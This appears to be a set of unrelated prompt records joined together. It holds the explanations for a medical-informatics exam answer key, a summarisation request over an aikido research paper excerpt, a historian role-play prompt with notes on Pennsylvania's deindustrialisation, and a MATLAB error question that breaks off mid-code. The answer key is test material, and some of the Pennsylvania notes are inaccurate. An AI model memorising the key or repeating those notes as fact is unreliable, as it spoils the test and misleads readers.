8480-6 in LOINC and 72313002 in SNOMED. (REF: 3.4.6 Ontologies and Taxonomies)\n22\nTHE ANSWER IS A. Choices B-D all match a branch of informatics with the task they are likely to perform. Choice A incorrectly pairs consumer health with physician data workflow. The key point is that a wearable computer has a potential to generate voluminous data, requires intelligent methods of analyzing and presenting that data, and is likely to be a consumer item. (REF: 1.1.1.3 - Domains, subspecialties of informatics)\n23\nTHE ANSWER IS A. CDS interface issues are present in both data entry and output. A CDS integrated into an EMR is far more likely to be used than a stand-alone system requiring duplicate data entry. (REF: 2.1.3 - Application of CDS)\n24\nTHE ANSWER IS B. The Institute of Medicine has established a set of standards for guidelines to ensure validity, accuracy and reliability. They include the following metrics: (Graham R, Mancher M, Wolman DM, Greenfield S, Steinberg E, Eds. Clinical practice guidelines we can trust. Institute of Medicine. 2011. National Academies Press, Washington, DC.)\n\xa0\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Has an explicit description of development and funding processes that is publicly accessible\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Follows a transparent process that minimizes bias, distortion, and conflicts of interest\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Is developed by a multidisciplinary panel comprising clinicians; methodological experts; and representatives, including a patient or consumer, of populations expected to be affected by the guideline\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Uses rigorous systematic evidence review and considers quality, quantity, and consistency of the aggregate of available evidence\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Summarizes evidence (and evidentiary gaps) about potential benefits and harms relevant to each recommendation\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Explains the parts that values, opinion, theory, and clinical experience play in deriving recommendations\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Provides a rating of the level of confidence in the evidence underpinning each recommendation and a rating of the strength of each recommendation\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Undergoes extensive external review that includes an open period for public comment\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Has a mechanism for revision when new evidence becomes available \n\xa0\n(REF: 2.2.3 - Clinical Guidelines)\n25\nTHE ANSWER IS C. Of the primary determinants of health, biological factors are the hardest to change. Genetic engineering may someday enable the deactivation of the BRCA1 gene (a gene linked to development of breast cancer), but not today. The other choices represent social factors, and although they may be difficult to change, they are not currently impossible. (REF: 1.2.1 - Determinants of health)\n26\nTHE ANSWER IS B. Process maps are a visual depiction of a process which easily shows which tasks depend on which. Tasks which do not depend on each other can potentially be run in parallel. Culling outliers from a dataset is a statistical process and probably not relevant to workflow analysis. When a new workflow is created, it may cause workers to expand their scope of practice. Similarly, workflow analysis often involves collecting paper forms, but neither of these processes enable parallelization. (REF 2.3.1. Methods of workflow analysis)\n27\nTHE ANSWER IS C. Hick’s Law (or the Hick-Hyman Law) states that the time required to make a decision is logarithmically related to the number of choices available. If we decrease the number of menu options, we can expect to decrease the amount of time the uses spends deciding which option to pick. Distributed cognition is a theory which states that decisions are not made solely by the individual. Instead, they are distributed across objects, individuals, artefacts, and tools in the environment. Fitt’s law states that the time required to click a mouse on a screen item is related to the size of the item and the distance the mouse has to travel. Norman’s theory of Action specifies seven items that must occur sequentially for an action to be performed: 1. Forming the goal; 2. Forming the intention; 3. Specifying an action; 4. Executing the action; 5. Perceiving the state of the world, 6. Interpreting the state of the world, 7. Evaluating the outcome (REF: Section 3.2.1 Models, theories, and practices of HCI)\n28\nTHE ANSWER IS D. The critical path is the longest path from start to finish. This diagram has four paths: \u2028 \xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 ACEG = 3+8+1+4 = 16\u2028 \xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 ACFH = 3+8+6+4 = 21\n\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 BDEG = 2+2+1+4 = 9\n\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 BDFH = 2+2+6+4 = 14\n\xa0\n(REF: Section 4.4.4 Project Management Tools)\n29\nTHE ANSWER IS D. Outcomes research is primarily concerned with outcomes that matter to patients. While the remained of the choices may be of interest to cardiologists or ecological researchers, the patient is most concerned with his mobility. LVEDV and ECG findings are disease-oriented endpoints, while ability to walk is a patient-oriented endpoint. (REF: Section 2.2.1 - Evidence Sources)\n30\nTHE ANSWER IS C. Store and forward is a common form of asynchronous telemedicine. Media files are stored on a local server and then forwarded to the consultant, who often reads the studies in batches. Real time communication and remote monitoring are forms of synchronous communication. (REF: 3.3.4 - Telemedicine)\n31\nTHE ANSWER IS B. The first step is to construct the 2x2 table (or confusion matrix). Recall is the percentage of relevant documents which are retrieved. Note that you don’t really need to know how many items are in the corpus in order to solve this problem. \u2028\u2028 \n\xa0\nRelevant\nNot Relevant\nRetrieved\nA, I = 2\nK, M, N, O, T, W = 6\nNot retrieved\nB, C, D, E, F, G, H = 7\nJ, L, P, Q, R, S, U, V, X, Y = 10\n\u2028 \xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 R = 2 / (7+2) = 22.2%\n(REF: Section 2.2.5 - Information Retrieval)\n32\nTHE ANSWER IS D. Workflow reengineering involves changing the way a company works in order to be more efficient. Revising a clinical guideline is analogous to workflow reengineering. Six-sigma is a quality improvement framework that seeks to reduce failure to very low levels (about 3 per million). Reduction in clinical staff and replacing paper forms with electronic equivalents both may be a part of workflow reengineering, but not always. (REF: Section 2.3.2. Principles of workflow re-engineering)\n33\nTHE ANSWER IS B. The CCD is an HL7 standard which is a constraint on the Reference Information Model. It is designed to transfer health records between different systems. HCPCS is a code set for procedures and supplies that are not in the CPT. The Joint Commission is a quasi-governmental organization which inspects and certifies hospitals. (REF 3.4.1 - Standards Development)\n34\nTHE ANSWER IS A. Defensive medicine is the practice of ordering low-yield tests in an attempt to decrease risk of future litigation. There are many other reasons why doctors order tests that they expect to contribute little to the diagnostic process, such as choices C and D, but these are not defensive medicine. The fiduciary relationship would be best honored by acting in the client’s best interest, which is usually at odds with defensive medicine. (REF Section 1.2.6 - Forces shaping healthcare delivery)\n35\nTHE ANSWER IS D. Knowing what information is needed and how to find it is known as information literacy. Computer competency is the ability to perform basic computer functions. A controlled vocabulary is a set of concepts in a particular domain. Informatics management is the process of collecting data, analyzing it and distributing the findings. (REF: 1.1.2 - Key informatics concepts, models, and theories)\n36\nTHE ANSWER IS B. Image compression may decrease the network overhead of sharing pictures, but the other choices more directly affect interoperability. Shared terminologies and common data definitions are more or less the same concept. Protocols are the mechanisms by which data is moved from one place to another. (REF: 3.4.2 Data standards and sharing)\n37\nTHE ANSWER IS D. Research has shown that CPGs have the potential to reduce inappropriate practice variation, enhance translation of research into practice, and improve healthcare quality and safety. They may decrease the cost of care, but they may also increase the cost of care by recommending more interventions. (REF: 2.2.3 - Clinical Guidelines)\n38\nTHE ANSWER IS C. Clinical guidelines are recommendations only and do not include hard and fast rules for treating patients. (REF: 2.2.3 - Clinical Guidelines)\n39\nTHE ANSWER IS B. In a Standard Gamble,\xa0 a patient is asked to choose between a certain time in state of illness vs. therapy with a known risk of cure or death. The standard gamble is defined as one minus the risk of death at the point of indifference ( the point at which the patient cannot choose between treatment options). In a Time Trade-off, a patient is asked to choose between some time in a state of illness vs. some time in a state of perfect health. When using a visual analog scale, patients are asked to rate different health states on a scale where 0 = death\xa0 and 100 = perfect health. The quality-adjusted life-year (QALY) is a measure of the value of health outcomes. (REF: Section 2.1.2 - Decision Science)\n40\nTHE ANSWER IS A. Whenever possible, a clinical information system should be evaluated on the basis of clinically relevant outcomes, such as compliance with national guidelines or mortality. The other measures are important, but none are as valuable as a clinical improvement. (REF: 3.5.6 - clinical information system evaluation)\n41\nTHE ANSWER IS B. Preventive maintenance (PM) is any activity designed to prevent failure of a system. Making backups, checking log files, ensuring drive capacity are all PM tasks. Disaster recovery and replacing a broken printer are corrective actions, not preventive. Upgrading monitors is a form of enhancement, not prevention. (REF: 3.5.5 - Clinical information system maintenance)\n42\nTHE ANSWER IS D. As medical records transitioned from paper to electronic formats, it became much easier to extract information from the chart for use in research activities.\xa0 The other choices reflect clinical benefits. (REF 1.1.1.6 - Current and Future Informatics Challenges) \n43\nTHE ANSWER IS D. A Service Level Agreement (SLA) is an agreement between a software vendor and consumer which describes the level of technical support to which the consumer is entitled. Effectively, this process shifts the risk of maintaining and supporting the software from the consumer to the vendor. A Business Associate Agreement (BAA) is an agreement between a holder of protected health information and one of its business associates regarding the usage and dissemination of data. An End User Licensing Agreement (EULA) is an agreement between a software publisher and the end user, and most commonly exists to limit the user’s ability to modify or resell the software and to disclaim responsibility from the publisher should the software malfunction. Open source software is distributed in an easily modifiable form, often for free. In general, open source software transfers all responsibilities from the publisher to the user, not the other way around. (REF: 3.5.1 - Institutional Governance)\n44\nTHE ANSWER IS C. Six-sigma is named because it seeks to minimize defects until they are six standard deviations from the mean. Although having zero defects would be ideal, C is a better answer because it is closer to 3.4 per million opportunities. The other choices are to high. (REF 2.3.3 Quality Improvement)\n45\nTHE ANSWER IS B. Accepting the current level of risk without attempting any other risk modification is called Risk Acceptance. Risk exploitation is an approach to positive risk where a risk manager does everything in his power to ensure that the risk occurs. Risk transference is when the risk is transferred to another entity, such as buying insurance. Finally, Risk Avoidance involves instituting systematic changes to ensure that the risk does not occur. In the case of cancer, this is not a valid response. (REF: Section 4.4.5 Project Management – Informatics project challenges)\n46\nTHE ANSWER IS A. Integrated change control is a rigorous process to determine the need for changes in the scope of a project. It may involve a single individual or a committee or a change control board. Having a solid change process limits scope creep. Risk avoidance is a response to risk which seeks to avoid the risk entirely. The opposite of risk avoidance is risk exploitation, which seeks to ensure that the risk occurs. A run chart shows the output of a process over time. A sensitivity analysis relies on a mathematical model of a process. By changing input variables, one can predict how the process will turn out.\xa0 (REF: Section 4.4.5 Project Management – Informatics project challenges)\n47\nTHE ANSWER IS D. Adverse clinical events are the worst-case scenario for a poorly designed system. In general, the other choices are good outcomes. (REF: Section 3.2.2 - HCI Evaluation)\n48\nTHE ANSWER IS D. In an ontology the relationships between terms define those terms, and are therefore explicitly stated. Synonyms (aliases) are a type of relation and must be explicitly stated. Ontological relations are quite varied and are not limited to parent-child relationships. (REF: 3.4.6 Ontologies and Taxonomies)\n49\nTHE ANSWER IS C. Recall is the percentage of relevant documents which are retrieved. In this case, \u2028\u2028 R = 2 / (1+2) = 66% (REF: Section 2.2.5 - Information Retrieval)\n50\nTHE ANSWER IS D. The discount rate indicates the interest rate used in discounted cash flow analysis to determine the present value of future cash flows. After one year, the $100 would increase by 10% to $110. After two years, it would increase by another 10%, to $121. (REF 4.5.5 Capital and operating budgeting)' +'summarize:\n4\u2002Findings\nThe benchmarking study provided twenty sets of answers to the same questions \n(see Appendix). The answers came from experts who represented various man\x02ifestations of aikido from places all over the world in 2020. Each answer was a \nproduct of the expert and the expert’s individual, aikido, social, cultural and \ndemographic contexts. When the interviewed experts talked about aikido inter\x02action, they referred to aikido principles with the same core meaning, however, \nwith local or individual nuances. Some experts saw added value in the combat \neffectiveness and others in the philosophy of aikido. Interestingly, the analysis \nof the interview data revealed that the way they learn, teach, understand and \nperceive aikido has fundamental similarities.\nHarmony\nTranquility Unification\nCommon ground\nCuriosity\nSafety\nCirculation\nOpenness\nNoble outcome\nFigure 5: Hierarchy chart of the aikido principles of harmony and common ground.\n318 \u2003Greet Angèle De Baets and Ellen Van Praet\nNext to the aikido principles for challenging interactions, many of the experts \nreferred to the value of aikido’s physical practice. This paper reports on the aikido \nprinciples for harmony and common ground and on aikido as an embodied ped\x02agogy.\nWhat all experts share is knowledge and expertise in aikido interaction on the \nmat. Aikido emphasizes working with a partner rather than grappling or fighting \nagainst an opponent as in competitive tournaments. Typically, an aikido interac\x02tion unfolds in the following components from the point of view of an aikidoist \nwho is attacked by another person:1\n–\u2003 Seeking harmony\n– Tranquility: to assume an attitude of calmness, centeredness, grounded\x02ness and alertness in the moment. Practicing tranquility alters the phys\x02iological and the mental state. \n– Safety: to behave effectively and efficiently without doing harm to others, \nself and the environment.\n– Noble outcome: to achieve an outcome in which all people involved feel \nadequately satisfied.\n1\u2002Aikido practitioners generally refer to the principles with jargon or Japanese terms. The ex\x02perts in this study used their preferred terms, either in their mother tongue, in a lingua franca or \nin Japanese. The following list refers to the experts’ words. It is non-exhaustive and translated \ninto English. Moreover, the terms do not necessarily cover the principle completely and may \noverlap with other principles:\n–\u2003Seeking harmony\n–\u2003Tranquility: calm, vertical posture, centered, grounded, alert and in the moment, empty \nmind, a beginner’s mind (mushin).\n–\u2003Safety: harmlessness, nonviolence, social contract, protecting and respecting life, pre\x02serving life, without hurting, lack of injury to the other and the self, la noblesse de l’échec\n(the nobility of failure).\n–\u2003Noble outcome: win-win outcome, zero-sum outcome, mutually beneficial outcome, har\x02mony, peace and masagatsu agatsu katsuhayabi (true victory is victory over self).\n–\u2003Building common ground\n–\u2003Openness: nonresistance, letting go of tension, muscular force and ego.\n–\u2003Curiosity: positive attitude, sensitivity towards the other and action-orientation.\n–\u2003Unification: blending, joining, connecting, merging, uniting, awase (harmonizing with, \nblending and matching) and musubi (tying together; the physical, mental, and spiritual \nconnection).\n–\u2003Circulation: circularity, sphericity, tenkan, turning, cooperating and adding the other per\x02son’s perspective.\nHarmony and common ground: Aikido principles for intercultural training\u2003 319\n–\u2003 Building common ground\n– Openness: to take an inviting attitude of observation, positivity and flexi\x02bility, with a focus on the moment, not on prior assumptions, judgments \nor thoughts.\n– Curiosity: to have the motivation to interact, discover and learn. \n– Unification: to blend with the other person by fostering physical close\x02ness, sensitivity and a willingness to build common ground.\n– Circulation: to take the perspective of the other and to cooperate.\nThe components are not entirely sequential, they flow into one another, and \nsome, e.g. safety, are present throughout the interaction. What aikido practi\x02tioners physically discover in an aikido interaction resembles what expert inter\x02viewee, Ten-san, described in example (1).\n[associated audio-1-DeBaets.MP3 with example (1)]2\n(1)\u2003When we make this blending movement, by not opposing, moving in and turning, \nall of a sudden, we’re side by side with this person and we’re side-by-side in this \namazing, rather brilliant, transformative movement that puts us in the middle of \nthe action. All of a sudden, the person who was coming at us and we’re like this \n[shows a slight tenkan movement, a turn of almost 180°] is on the periphery of a \ncircle that we’re in the center of. And from there we can leave the action, we can \nguide the action. There is no more attack. The attack, magically almost, although \nrationally, disappears in the act of the blend. In the very action of making that \njoining movement, there’s no more attack. That is why people sometimes look \nat aikido and think it’s fake or that we are just cooperating or we’re just putting \nup dancing. Because you don’t see the attack anymore because it vanished, \nit disappeared by not opposing it. And then, all of a sudden we’re moving \nharmoniously and it looks like dancing or it looks like we’re just cooperating or it \nlooks like we’re just being nice. (From the interview with Ten-san)\n4.1\u2002The principles for seeking harmony\nHarmony was a topic in each interview. Many expert interviewees linked tran\x02quility, safety and noble outcome with aikido being the martial art of harmony. \nThirteen-san mentioned in (2) some prerequisites for harmony in aikido: \n2\u2002The corresponding audio files are available for download here: https://www.degruyter.com/\ndocument/isbn/9783110766752/html\n320 \u2003Greet Angèle De Baets and Ellen Van Praet\n[associated audio-2-DeBaets.MP3 with example (2)]\n(2)\u2003Well, of course maintaining calm among people is important, but without the \ncentering, without being mindful of of what I’m doing, how I’m doing it, how \ncorrectly I’m doing, how noble I’m doing it, is, without that nothing can happen.\n(From the interview with Thirteen-san)\nThirteen-san referred to centering, i.e. aligning the body’s center (lower abdomen \nor hara in Japanese) with the vertical posture line. It is one of several ways to \ntrain tranquility, see (2). Training physiological tranquility reinforces mental \ntranquility. Five-san (3) referred to aikido’s tranquility as a physical and mental \nattitude. He explained it when referring to the soft power of aikido in contrast to \nthe muscle fighting power of some people.\n[associated audio-3-DeBaets.MP3 with example (3)]\n(3)\u2003Et l’aïkido, c’est tout le contraire. L’aïkido, c’est la victoire par la paix. C’est \nc’est . . . C’est la force tranquille . . . C’est . . . C’est une discipline euh . . . zen \nattitude, voilà.\n[And aikido is quite the opposite. Aikido is victory through peace. It’s . . . It’s \nthe tranquil force . . . It’s . . . It’s a discipline uh . . . zen attitude, that’s it.]\n(From the interview with Five-san.)\nNot all of the interviewed experts compare aikido’s tranquility with zen. Four\x02san (4) stressed that his strong, quick, highly martial style of aikido was quite \ndifferent from most aikido styles practiced in Europe. Even so, he highlighted the \nimportance of avoiding direct confrontation, centering and tranquility. Moreover, \nhe mentioned the usefulness in daily life while at the same time downplaying it \nby referring to the similar usefulness of practicing other sports.\n[associated audio-4-DeBaets.MP3 with example (4)]\n(4)\u2003Voor mij als principe in aikido is ten eerste de . . . het . . . weggaan van directe \nconfrontatie in een beweging. En voor mij persoonlijk het bewaren van jouw . . . \ncenter.\n(. . .)\nHet was een zeer sterke . . . euhm een zeer sterke stijl die wij hebben gedaan.\n(. . .)\nHarmony and common ground: Aikido principles for intercultural training\u2003 321\nEn natuurlijk je neemt het mee in jouw dagelijks leven ook en alleen door \nhet feit dat je anders beweegt bijvoorbeeld . . . dat je door aikido of andere \ngevechtskunsten te bestuderen . . . ook rustiger bent denk ik, of rustiger wordt. \nAndere sporten hebben natuurlijk hetzelfde effect op je lichaam, maar bon \n(lacht). . . . Dat zijn allemaal dingen die denk ik bijdragen tot een soort van \nanders in het leven staan.\n[For me as a principle in aikido, first of all, the . . . the . . . moving away from \ndirect confrontation in a movement. And for me personally keeping your . . . \ncenter.\n(. . . )\nIt was a very strong . . . uhm a very strong style that we have done.\n(. . . )\nAnd of course you take it into your daily life as well and only by the fact that \nyou move differently for example . . . that by studying aikido or other martial \narts . . . also calmer I think, or become calmer. Other sports have the same \neffect on your body, of course, but well (laughs). . . . Those are all things that \nI think contribute to a kind of being different in life.]\n(From the interview with Four-san.)\nWhatever style of aikido, the concept of safety plays an important role. It refers \nto safe behavior, i.e. behaving effectively and efficiently without doing harm to \nother and self. \n[associated audio-5-DeBaets.MP3 with example (5)]\n(5) Being self-responsible is the principle. Being self-responsible, having a . . . a \nmind of non-dissension . . . euh learning how to center yourself so that you can \nhandle more of life’s up and downs, (sniffs) euhm . . . yeah, looking to protect \nall life, protect and honor all life. (From the interview with Eleven-san.)\nEven though not every expert calls the counter-intuitive approach in aikido’s \nself-defense non-dissension (5), they agree that aikido does not cultivate violence \nand aggression. \n(6)\u2003放眼世界上各家武術, 無不鑽研如何打擊、摧毀、致人於死傷的強力破壞之\n法;\u2009\u2009而合氣道的追求,\u2009\u2009在於化解攻擊、止息紛爭、將對方置於可控制卻不至\n於傷害的境地。這並非消極地躲避或不作為,\u2009\u2009反而是在不傷害任何人的狀況\n下, 得到的最大的勝利、最好的結果。這是為何道祖 植芝盛平先生 所開創的\n合氣道是『愛與和平』的武術, 而非製造傷害的武術了\n322 \u2003Greet Angèle De Baets and Ellen Van Praet\n [Looking at various types of martial arts in the world, they all study how to \npowerfully strike, destroy, and cause injury and death; however, aikido seeks \nto resolve attacks, stop disputes, and place the other party under control but \ndoes not hurt them. This is not passive avoidance or inaction, but oppositely, \nit secures the greatest victory and best result without harming anyone. This \nis why the aikido, which was founded by Ueshiba Morihei, is a martial art of \n“love and peace”, rather than a martial art of harm.]\n(Translated from the text Sixteen-san sent as a preparation for her interview.)\nBecause of its aim, some call aikido the martial art of harmony, other peace or \neven love (6). Harmony, peace and love have many interpretations and connota\x02tions. Therefore, this study uses a term understandable for aikido practitioners \nand non-aikido practitioners: noble outcome.\n[associated audio-7-DeBaets.MP3 with example (7)]\n(7) Un: beaucoup de calme. OK? De pas r . . . Pas des réactions: j’aime, j’aime \npas. . . . OK? Ça, voilà. Euh . . . Et en même temps, ça permet de. . . d’observer.\n [One: a lot of calmness. OK? Not r . . . No reactions: I like this, I dislike this. . . . \nOK? That’s it. Uh . . . And at the same time, it allows you to . . . to observe.]\n(From the interview with Six-san.)\nA noble outcome does not appear by merely being tranquil and acting safely. \nHowever important a tranquil state is (7), aikido practitioners soon consciously \ninvolve the attacker(s), the other person(s) in the situation' +'I want you to act as a historian. You will research and analyze cultural, economic, political, and social events in the past, collect data from primary sources, collect the information I’ve provided in the brackets below, and use it to develop theories about what happened during various periods of history. Present your findings in paper or article form with in-text citations and page numbers of those citations included. My first suggestion request is: Discuss how economic events and transitions in Pennsylvania during the second half of the twentieth century represented a change for the state.\n\n[\n • The decline of traditional industries singlehandedly changed political, social, and economic life for Pennsylvanians.\n • Between 1940 and 1980 the city\'s resident population fell from 20,000 to 5,100. The city of Homestead contained many industrial facilities, the open-hearth facility of which, closed in 1982 along with the works in 1986. As a result, the population fell to an abysmal 4,000 people. \n • With it\'s industrial prowess waning, local governments struggled to pay for the basic necessities of its citizens: schools, policing, and fire services \n • The effect of deindustrialization were so profound that even the name Homestead itself was given up by the West Homestead community for $1 million. There was nothing left to celebrate of the great industrial ascendancy Pennsylvania experienced. \n • Pittsburgh was still the industrial capital of the country and it showed.\n • Deindustrialization may have taken its toll but Pennsylvania made up for it by engaging in new industries like heavy electrical manufacturing. \n • There was no reason to believe a state with such rich resources and strong workforce would ever succumb to changing economic conditions but that\'s exactly what happened.\n • Between 1947 and 1958, Pennsylvania wen from second to fifth place in manufacturing states. \n • Permanent layoffs in the coal, textile, and rail industries plagued the state along with the continued decline of anthracite and bituminous coal industries. \n • The number of miners in the state fell from 375,000 in 1914 to 52,000 in 1960 and 25,000 in the early 1990s. \n • In the latter half of the twentieth century, coal production itself also fell. The state produced one hundred million tons of anthracite in 1917 but later only produced three million annually by the 1990s. \n • In Philadelphia, two-thirds of industrial jobs were gone in 50 years between 1925 and 1975. \n • The once-large Pennsylvania Railroad was not immune to the changing economic conditions. It eventually merged with the Penn Central Corporation in 1958. That\'s not all. The Penn Central Corporation later declared bankruptcy representing the largest business failure in U.S History at the time. \n • Thus, the number of jobs for railroad workers shed one quarter of its workforce by 1982. (321)\n • The steel industry also endured losses with $6 billion in lost wages in 1952 and in 1959-1960, resulting in 200,000 Pennsylvanians out of work. \n • U.S Steel began to suffer major losses with an astounding $561 million lost in a single quarter. Major layoffs and cutbacks ensued and by 1983 the once industrial capital of the world, Pittsburgh, was now filled with less steelworkers than it started with. \n • It\'s notable to mention that even wars up to that time have not caused as much economic damage.\n • The amalgamation of losses across rail, coal, and other industrial jobs represented a forty percent decline in employment by 1990, less workers than any time during the middle of of the Great Depression. \n • Pennsylvania experienced 3.4 percent in population growth, forty-eighth among all American states, a far cry from the explosive population growth the Commonwealth experienced in its infancy. \n • With young laborers leaving the state for better opportunities elsewhere, this left Pennsylvania with a highly aged population.\n • The lack of those able to pay state or local taxes contributed to the impoverishment of the government.\n • This did result in some positive effects for Pennsylvania. Pennsylvania proportionately had more doctors than it did people which made the medical industry a major area of economic growth throughout the last quarter of the twentieth century.\n • Interestingly enough, the Red Scare was also going on during the time of deindustrialization and had political as well as economic impacts on Pennsylvania. There was a vicious effort to expunge all "commies", those from the Communist Party, from wherever they may reside: colleges, churches, and those participating in labor unions.\n ○ As a result, these industries there were so prominent in Pennsylvania (coal, steel, etc) were gradually losing prominence thanks to the efficient use of resources by politicians to perpetuate the stereotype that laborers (especially those in unions) were communists.\n • Blame began to shifted to African-Americans who had an increasing presence in cities like Pittsburgh. The poorer cities became, the more violent they became, and what better way to shift the blame than to place the burden on African-Americans who were already marginally mistreated.\n ○ Rather than look to the disastrous conditions they found themselves in, this is the sentiment that persisted throughout the 1950s and 1960s. \n • As previously mentioned, the population in Philadelphia and Pittsburgh were rapidly declining. A struggle for these cities to generate revenue ensued. So real-estate and wage taxes were raised, driving even more people out of these cities. \n ○ Governments now had to resort to cutting back services which caused a steep decline in the quality of life. \n • Desperate for new sources of economic growth, poorer communities looked to prisons as a way to bring in more jobs. This came in conjunction with a general trend toward a tough "law and order" society as funding for prisons increased.\n ○ The State\'s corrections budget grew fivefold during the 1990s, to more than $1 billion.\n • Not too long ago Pennsylvania, in its Quaker era of equality and prosperity, prided itself on allowing women to be equally involved in society as men were. Well, that was no longer the case. The proportion of women in the state legislature may have grown steadily during the latter half of the Twentieth century, but Pennsylvanian women ranked a mere forty-sixth in government participation and forty-fourth in voter registration. \n ○ This can only be attributed to a lack of representation in economic indicators such as wage equity with men.\n • The economic decline also forced politicians, some of whom were already corrupt, to seek unorthodox sources of funding.\n • For a state so enveloped in the industrial era, Pennsylvania came out of this ear as a mature postindustrial economy. \n ○ By the early 1990s, retail had 862,000 jobs, services had 797,000 jobs, finance had 128,000 jobs, insurance had 123,000 jobs, and real estate had 43,000 jobs. \n ○ These were the burgeonings of a new economy, one that was focused on high-skill and high-technology occupations such as electronics, biotechnology, and pharmaceuticals.\n ○ As Philip Jenkins wrote, "there was indeed life after manufacturing". \n • Suprisingly, economic value arose in another area for Pennsylvania: college football. For the most part, State College was a dainty town near Bellefonte but rapidly became a booming metropolitan area.\n • It\'s population grew to more than 100,000 people, has the highest rate of population growth in the state, and represents the vast leisure economy based on college football and other sporting events. \n • Despite Pennsylvania\'s success in discovering nascent industries in which to grow its economy, Philadelphia still struggled with massive population decline. In the 1990s the population decline continued, residents started moving toward surrounding counties of Bucks, Chester, and Montgomery.\n • Consequently, the wealth and population of Pennsylvania became disproportionately concentrated in the southeastern corner of the state. \n • As this occurred, the economic role of cities began to shift. They went from industrial powerhouses to cities that became a hub for financial services.\n • Instead of living in the immediate neighborhood, workers commuted to work from the suburbs.\n • This shift wasn\'t entirely a net negative for cities like Pittsburgh. In absence of congested living, Pittsburgh became a cleaner and healthier community free of the smoke and pollution that had plagued it for so long. \n • Philadelphia too, also experienced the positive effects of this shift thanks to the massive gentrification Society Hill, Rittenhouse Square, and other areas. \n ○ The transformation of the old Reading Terminal Building vividly illustrated this change. It underwent a handsome restoration and became a new Convention Center that attracted tourism and convention business to the city. \n • The agricultural society that was so central to Pennsylvania was not entirely gone. Agriculture shifted from farming to more specialized production, making use of advances in new technology such as truck transportation and improved fertilizers. \n • Tourism continued to thrive in the late twentieth century as Pennsylvania\'s troubled past became a "saleable commodity". \n ○ The Amish were also part of the increasing push towards tourism as a source of revenue. Their ways of life, their beliefs, and their insistence upon old traditions in the face of modernity were all on full display for visitors to enjoy.\n • That same thirst for tourism inspired entrepreneurs to build outlet malls in areas like Berks country, attracting much wealth to the state. \n • Pennsylvania\'s ease of access to major population hubs provided the opportunity for visitors to enjoy explorations of rural simplicity with making consumer purchases. \n • One would\'ve thought that anthracite towns died during deindustrialization but those, too, were revived.\n • The Poconos came to be birthed and by 1990s tourists could visit the Anthracite Heritage Museum and the Lackawanna Coal Mine.\n]' +'Now I\'m getting this issue "Error using load\nUnable to read file \'Screw\\_Detection\\_CNN.m\'. Input must be a MAT-file or an ASCII file containing numeric data with same number\nof columns in each row.\n\nError in Circle\\_Detection\\_Test\\_CNN (line 4)\nmodel = load(\'Screw\\_Detection\\_CNN.m\');" for my following code:function [screw\\_center\\_X, screw\\_center\\_Y] = Circle\\_Detection\\_Test\\_CNN()\n\n% Load the transfer learning model\nmodel = load(\'Screw\\_Detection\\_CNN.m\');\n\n% Read the image\nimg = imread(\'Edge\\_Detection\\_Case.jpg\');\n\n% Resize the image to the required size of the model\nimg\\_resized = imresize(img, [227 227]);\n\n% Get dimensions of the image\n%Original dimensions\nimg\\_size = size(img); % get the size of the image\nimgheight = img\\_size(1); % get the height of the image\nimgwidth = img\\_size(2); % get the width of the image\n% Resized dimensions\nimg\\_size\\_re = size(img\\_resized); % get the size of the image\nimgheight\\_re = img\\_size\\_re(1); % get the height of the image\nimgwidth\\_re = img\\_size\\_re(2); % get the width of the image\n\n% Split the image into four quadrants\n[rows, cols, ~] = size(img\\_resized);\nrow\\_half = round(rows/2);\ncol\\_half = round(cols/2);\nquad1 = img(1:row\\_half, 1:col\\_half, :);\nquad2 = img(1:row\\_half, col\\_half+1:end, :);\nquad3 = img(row\\_half+1:end, 1:col\\_half, :);\nquad4 = img(row\\_half+1:end, col\\_half+1:end, :);\n\n% Add labels and borders to each quadrant\n labeled\\_quad1 = insertText(quad1, [0 0], "Quadrant 1", \'FontSize\', 18);\n labeled\\_quad2 = insertText(quad2, [0 0], "Quadrant 2", \'FontSize\', 18);\n labeled\\_quad3 = insertText(quad3, [0 0], "Quadrant 3", \'FontSize\', 18);\n labeled\\_quad4 = insertText(quad4, [0 0], "Quadrant 4", \'FontSize\', 18);\n img\\_labeled = [labeled\\_quad1 labeled\\_quad2; labeled\\_quad3 labeled\\_quad4];\n img\\_labeled = insertShape(img\\_labeled, \'Rectangle\', [1 1 col\\_half row\\_half], \'LineWidth\', 3);\n img\\_labeled = insertShape(img\\_labeled, \'Rectangle\', [col\\_half+1 1 col\\_half row\\_half], \'LineWidth\', 3);\n img\\_labeled = insertShape(img\\_labeled, \'Rectangle\', [1 row\\_half+1 col\\_half rows-row\\_half], \'LineWidth\', 3);\n img\\_labeled = insertShape(img\\_labeled, \'Rectangle\', [col\\_half+1 row\\_half+1 col\\_half rows-row\\_half], \'LineWidth\', 3);\n\n % Show the labeled image\n figure;\n imshow(img\\_labeled);\n\n % Ask user to select which quadrant they want to detect for circles\nquadPrompt = "Please select a quadrant of the image to detect screws: ";\nselectedQuad = input(quadPrompt);\n\n% Switch case for setting selected quadrant value with corresponding\n% quadrant\nswitch selectedQuad\n case 1\n selectedQuad = quad1;\n offset = [0,0] ;%No offset for quadrant 1\n quadrant = 1;\n case 2\n selectedQuad = quad2;\n offset = [0, col\\_half]; %offset in x-direction for quadrant 2\n quadrant = 2;\n case 